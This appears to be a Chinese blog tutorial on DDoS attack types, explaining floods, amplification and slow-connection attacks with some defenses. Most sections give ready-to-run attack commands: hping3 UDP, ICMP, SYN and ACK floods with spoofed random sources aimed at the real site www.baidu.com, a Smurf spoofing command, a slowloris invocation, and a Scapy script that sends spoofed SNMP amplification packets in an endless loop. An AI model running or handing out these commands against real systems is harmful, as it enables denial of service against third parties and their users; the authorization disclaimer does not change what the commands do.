基础知识

本教程仅在合法授权的情况下进行测试和研究,请勿用于其他用途。未经授权使用此类工具可能会侵犯他人隐私,触犯相关法律,任何因此引发的法律或利益纠纷与本人无关。

DDOS介绍

DOS攻击:指的是采取一对一的方式,攻击目标服务器,使攻击目标CPU使用率提高,网络可以带宽减少等方式耗尽服务器的资源

DDOS攻击:攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从而成倍地提高拒绝服务攻击的威力。

被攻击时的现象:

  1. 被攻击的主机上有大量等待的TCP连接
  2. 网络中充斥着大量的无用的数据包,源地址为假
  3. 制造高流量无用数据,造成网络拥塞,使被攻击的主机无法正常通信。
  4. 利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的服务请求,使受害主机无法及时处理所有正常请求。
  5. 严重时会造成系统死机

DDOS类型

流量型攻击

ICMP Flood攻击

攻击介绍

攻击原理:就是向目标发送大量的 ICMP Echo-Reply(type 0,code 0)Echo-Request(type 8,code0)报文。目的一般为耗尽目标服务器的带宽,并且机器去处理这些请求也会占用一点IO\CPU资源,但资源消耗过大就会导致DoS。

测试工具

hping3

hping3 使用详解 - liuxinyu123 - 博客园

1、UDP ddos攻击:

1
hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source www.baidu.com

2、ICMP ddos攻击:

1
hping3 -c 10000 -d 120 --icmp -w 64 -p 80 --flood --rand-source www.baidu.com

Smurf攻击

攻击介绍

1、介绍

​ Smurf攻击是一种分布式拒绝服务攻击(DDOS)攻击,利用IP协议中的ICMP请求和网络广播的特性,发送大量的ICMP Echo请求包,使目标主机造成网络带宽堵塞、资源消耗、拒绝服务等。

2、攻击原理

  1. 攻击者伪造受害者的IP地址向本网络广播地址发送ICMP Echo请求包
  2. 网络广播地址代表本网段的所有设备(实际上相当于发送给了所有主机ICMP Echo请求包)
  3. 本网段内的主机进行ICMP Echo回应包发送给请求的主机
  4. 受害者接收到海量回应包

3、应对方法

  1. 过滤广播地址:在网络的出口路由器上配置过滤规则,禁止广播地址的流量通过,阻止攻击者的Echo Request报文进入目标网络。
  2. 启用反向路径过滤(Reverse Path Filtering):通过验证数据包的源IP地址是否为网络出口合法的路径返回地址,来过滤掉源IP地址伪造的报文。
  3. 使用流量限制措施:通过使用防火墙和入侵检测系统(IDS)等技术,对网络流量进行监控和管理,及时发现并限制异常流量。
  4. 升级网络设备:确保网络设备的固件和软件及时更新至最新版本,以修复已知漏洞,提升网络安全性。

测试工具

使用Kali hping3进行

1
2
3
4
5
6
sudo hping3 -1 -a 192.168.1.100 -c 10000 192.168.1.255

-l:使用ICMP协议
-a:伪造的受害者IP地址
-c:发送的请求次数
192.168.1.255:本网段的广播地址

Ping of Death

攻击介绍

1、介绍

​ Ping of Death:又称为死亡之ping,通过大量的畸形ICMP请求包

2、攻击原理

​ 这种攻击通过发送大于65536字节的ICMP包使操作系统崩溃;通常不可能发送大于65536个字节的ICMP包,但可以把报文分割成片段,然后在目标主机上重组;最终会导致被攻击目标缓冲区溢出,引起拒绝服务攻击。有些时候导致telnet和http服务停止,有些时候路由器重启。

3、适用版本

  1. Windows 系统:
    • Windows 95
    • Windows 98
    • Windows ME
    • Windows NT 4.0(未打补丁的版本)
  2. Linux 系统:
    • 早期的 Linux 内核版本(2.0及更早版本)
    • 某些未修补的嵌入式 Linux 系统
  3. Unix 系统:
    • BSD/OS(某些版本)
    • 早期的 Solaris 和 HP-UX 版本

测试方法

1
ping -l 65500 192.168.2.1 -t

UDP Flood攻击

攻击介绍

1、介绍

​ 向攻击者向受害者发送大量的UDP数据包,造成受害者服务器卡顿、负载提示、网络卡顿等问题

2、攻击原理

​ 在短时间内 模拟随机的源端口地址向随机的目的端口发送大量的udp包,造成目标主机不能处理其他udp的请求

3、防御方法

​ UDP是无状态连接协议,常用于僵尸网络的DDOS攻击,比起TCP来说更难防御。通过设置防火墙,对UDP包的IP,端口,速率可针对性防御。另外,UDP Flood除了消耗受害者资源,也会消耗大量攻击者资源。

测试方法

1、使用hping3 进行测试

1
2
3
4
5
6
7
8
9
hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source www.baidu.com

--udp:使用udp进行攻击
-p:指定攻击的端口
-c:请求次数
-d:发送的数据包大小
-w:窗口大小
--flood:尽最快发送数据包,不显示回复
--rand-source:产生随机源端口

连接型攻击

TCP Flood攻击

攻击介绍

1、介绍:

了解TCP Flood攻击需要先了解TCP的三次握手机制:

img

  1. 客户端向服务都发送一个SYN包,用来请求与服务器建立连接
  2. 服务器收到SYN包,回复一个SYN+ACK包,用于表示可以与客户端建立连接
  3. 客户端收到服务器发送的SYN+ACK包,向服务器发送ACK,表示连接状态建立

TCP Flood攻击:利用了这种会话建立机制,大量向服务端发送SYN请求包请求建立连接,收到SYN+ACK包后,不会发送ACK包,导致服务器一直占用会话耗尽服务器资源。

渗透方法

SYN ddos攻击:

1
2
3
4
5
6
7
8
9
hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source www.baidu.com

-c:发送的请求数量
-d:发送到攻击方的数据包大小
-S:只发送SYN包
-w:指定窗口大小
-p:指定攻击的窗口,可以使用任意端口
--flood:尽量快速的发送
--rand-source:源ip随机产生

ACK洪水攻击

攻击介绍

1、介绍

​ ACK洪水攻击:实在TCP建立完连接之后,攻击者将所有传输的TCP数据包都带有ACK标志位的数据包。

2、原理

​ 接收端在收到一个带有ACK标志位的数据包的时候,需要检查该数据包所表示的连接四元组是否存在,如果存在则检查该数据包所表示的状态是否合法,然后再向应用层传递该数据包。

​ 如在检查中发现数据包不合法,如所指向的目的端口未开放,则操作系统协议栈会回应RST包告诉对方此端口不存在。

此时服务器要做两个动作,查表和回应ack/rst。

​ 对攻击者来说发送带有ACK标志位的TCP数据包消耗小;

​ 但对于服务器进行查表动作时,所消耗的资源大于攻击者发送数据包的消耗

img

3、防御方法

抗D设备基于目的地址对ack报文速率进行统计,当ack报文速率超过阈值启动源认证防御。

测试方法

ACK ddos攻击:

1
2
3
4
5
6
7
8
9
10
hping3 -c 10000 -d 120 -A -w 64 -p 80 --flood --rand-source www.baidu.com

-c:发送的请求数量
-d:发送到攻击方的数据包大小
-A:参数用于设置 TCP 包头中的 ACK(确认,Acknowledgment)标志。ACK 标志用于表示该包是一个确认包,通常用于 TCP 协议中确认接收到数据。
-w:指定窗口大小
-p:指定攻击的窗口,可以使用任意端口
--flood:尽量快速的发送
--rand-source:源ip随机产生

WebSocket攻击

攻击介绍

1、websocket介绍

​ WebSocket是通过HTTP协议发起的一个双向全双工的通信协议。WebSocket协议被广泛用在现代WEB程序中用于数据流的传输和异步通信。

2、websocket和http区别

大多数的Web浏览器和Web网站都是使用HTTP协议进行通信的。通过HTTP协议,客户端发送一个HTTP请求,然后服务器返回一个响应。通常来说,服务端返回一个响应后,这个HTTP请求事务就已经完成了。即使这个HTTP连接处于keep-alive的状态,它们之间的每一个工作(事务)依然是请求与响应,请求来了,响应回去了。这个事务就结束了。所以通常来说,HTTP协议是一个基于事务性的通信协议。

而WebSocket呢,它通常是由HTTP请求发起建立的,建立连接后,会始终保持连接状态。客户端和服务端可以随时随地的通过一个WebSocket互发消息,没有所谓事务性的特点。这里要注意了,源于其双向全双工的通信特点,在一个WebSocket连接中,服务端是可以主动发送消息的哦,这一点已经完全区别于HTTP协议了。

因此,基于以上特点,WebSocket通常用于低延迟和允许服务器发送消息的场景。例如,金融行业常用WebSocket来传输实时更新的数据。

3、攻击原理

  • 使用WebSocket协议的持久连接,攻击者发送大量数据或保持长连接。
  • 消耗服务器资源,导致正常用户无法访问。

特殊协议缺陷型攻击

Slowloris慢性攻击

攻击介绍

1、介绍

Slowloris 的核心原理是通过建立大量半开的 HTTP 连接,耗尽目标服务器的资源,导致它无法处理合法的请求。它发送部分 [HTTP 请求头](https://so.csdn.net/so/search?q=HTTP 请求头&spm=1001.2101.3001.7020),但从不完成请求,并定期发送数据保持连接处于活跃状态。这样,目标服务器会持续消耗资源等待完成的请求。
2、攻击原理

1.发出大量 HTTP 请求。
2.定期(每约 15 秒)发送标头以保持连接打开。
3.除非服务器这样做,否则我们永远不会关闭连接。如果服务器关闭一个连接,我们会创建一个新连接,继续做同样的事情。

这会耗尽服务器线程池,并且服务器无法回复其他人。

3、防范措施

如何防护Slowloris攻击
1、提高服务器的客户端连接数量

2、限制传入请求个数:限制单个IP 地址允许建立的最大连接数

3、使用一些DDOS方法安全工具

4、限制HTTP头部传输的最大许可时间:超过指定时间HTTP Header还没有传输完成,直接判定源IP地址为慢速连接攻击,中断连接并加入黑名单。

测试方法

gkbrk/slowloris: Low bandwidth DoS tool. Slowloris rewrite in Python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
python slowloris.py 192.168.30.158

positional arguments:
host Host to perform stress test on

options:
-h, --help show this help message and exit
-p PORT, --port PORT Port of webserver, usually 80
-s SOCKETS, --sockets SOCKETS
Number of sockets to use in the test
-v, --verbose Increases logging
-ua, --randuseragents
Randomizes user-agents with each request
-x, --useproxy Use a SOCKS5 proxy for connecting
--proxy-host PROXY_HOST
SOCKS5 proxy host
--proxy-port PROXY_PORT
SOCKS5 proxy port
--https Use HTTPS for the requests
--sleeptime SLEEPTIME
Time to sleep between each header sent.

DNS放大攻击

攻击介绍

1、介绍

​ DNS放大攻击:攻击者通过恶意构造udp数据包报头,伪造受害者的IP信息,向DNS服务器发送解析请求,将DNS服务器的响应包引入给受害者服务器。

​ DNS查询通常通过UDP协议发送。UDP是一种“发即忘”协议,这意味着不需要通过握手来验证数据包IP地址的真实性。

2、攻击原理

​ 攻击者的dns查询包消耗很小,但返回的响应包数据量很大,所以攻击者伪造受害者IP大量请求DNS解析请求,将查询的大量记录返回给受害者IP造成受害者服务器资源耗尽,服务器宕机。

3、防御措施

限制DNS服务器的递归查询、部署流量清洗设备以及使用DNSSEC协议

SNMP放大攻击

攻击介绍

1、介绍

​ snmp:通过一台客户端机器向一个被管理的设备发出查询请求获取这台设备当前运行状态的检测等情况,网络监控一般是基于SNMP与Agent。

​ 在SNMP的服务中,被监控设备端口UDP 161为主动查询请求;162端口为监控方在固定时间内受监控端向监控端自动发送查询请求。
同时管理信息数据库MIB是一个信息存储库,包含管理代理中的有关配置和性能的数据,按照不同分类(类似树形图),包含分属不同组的多个数据对象

2、攻击原理

​ 利用SNMP协议的请求-响应机制,发送大量SNMP Get请求,伪造源IP。

3、影响危害

​ 目标网络因响应数据过多而拥塞。

4、防御方法

​ 禁用SNMP或限制其访问,定期更新固件防止漏洞利用。

测试方法

1、使用nmap扫描指定的地址端

1
2
3
nmap -sU 192.168.10.1

snmp------>192.168.10.24

2、构建python脚本

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
from scapy.all import *
i = IP(dst="192.168.10.24",src="192.168.10.234")
u = UDP(sport=161,dport=161)
s = SNMP(community='public')
b = SNMPbulk(max_repetitions=200,varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))])
s.PDU=b
r = i/u/s
while 1:
send(r)

HTTP洪水攻击

攻击介绍

1、介绍

​ HTTP洪水攻击: HTTPFlood是一种针对Web服务的第七层攻击,通过模拟正常用户请求消耗服务器资源。

2、攻击原理

​ 攻击者通过代理或僵尸主机向目标服务器发起大量的HTTP报文,请求涉及数据库操作的URI(Universal Resource Identifier)或其它消耗系统资源的URI,造成服务器资源耗尽,无法响应正常请求。

3、防御方法

HTTP Flood源认证:

  • META刷新:阻止非浏览器客户端的访问,僵尸工具无法通过认证。
  • 验证码认证:通过推送验证码判断HTTP访问是否由真实用户发起,防御效果较好。
  • 302重定向模式:对嵌套资源服务器启动302重定向防御,探测访问源是否为真实浏览器。

HTTP源统计:

​ HTTP源统计是在基于目的IP流量异常的基础上,对源IP流量进行统计,判定具体某个源流量异常,并对其进行限速。

动态指纹学习

​ 动态指纹学习适用于攻击源访问的URI比较固定的情况。Anti-DDoS设备对源访问的URI进行指纹学习,找到攻击目标URI指纹,如果对该URI指纹的命中次数高于设置的阈值就将该源加入黑名单。

测试方法

​ 工具:

image-20250330103648189

注意 填写的url要与数据库进行交互

CC攻击

攻击介绍

1、介绍

​ CC攻击是一种试图通过使目标系统的资源耗尽来提供拒绝服务的攻击方式。它通常基于建立大量无效的连接或发送大量恶意请求,超过目标系统的处理能力,从而导致系统崩溃或无法正常工作。CC攻击通常由单台计算机或少量机器发起。

2、原理

​ CC攻击通常运用于通过攻击种子服务器(Seed Server)发出大量伪造的请求或连接来骚扰目标系统。这种攻击通常通过模拟大量用户访问(如使用恶意脚本或利用漏洞)来获取目标系统的资源。攻击者还可以使用代理服务器、TOR网络等技术来隐藏自己的身份和位置。

3、与DDOS的区别

​ 规模和资源使用:CC攻击通常是相对较小规模的攻击,通常仅由一台计算机或几台计算机发起,资源使用相对较少。DDoS攻击则是通过使用分布在全球范围内的多台计算机,协同合作发起大规模攻击,消耗更多的网络资源和带宽。

​ 攻击方式:CC攻击的目标是耗尽目标系统的资源,通过建立大量的无效连接或发送恶意请求来实现。DDoS攻击则在通过大量流量发送来超出目标系统的处理能力,让系统无法正常运行。

​ 攻击协同性:CC攻击通常由单台计算机或少量机器发起,攻击者的目标是通过耗尽目标资源来实现拒绝服务。DDoS攻击则涉及到多个攻击端(发起者),它们可以同时从多个方面攻击目标系统,通过协调行动提高攻击效果。

4、CC攻击防御

  • 限制连接请求的速率
  • 使用验证码
  • 检测和封锁代理服务器
  • 监测网络流量,识别异常行为,使用入侵检测系统和防火墙

测试方法

使用安防cc进行测试

image-20250330104933122

总结

以上就是相关DDOS的知识总结,欢迎和博主进行技术交流VX:GoldY_66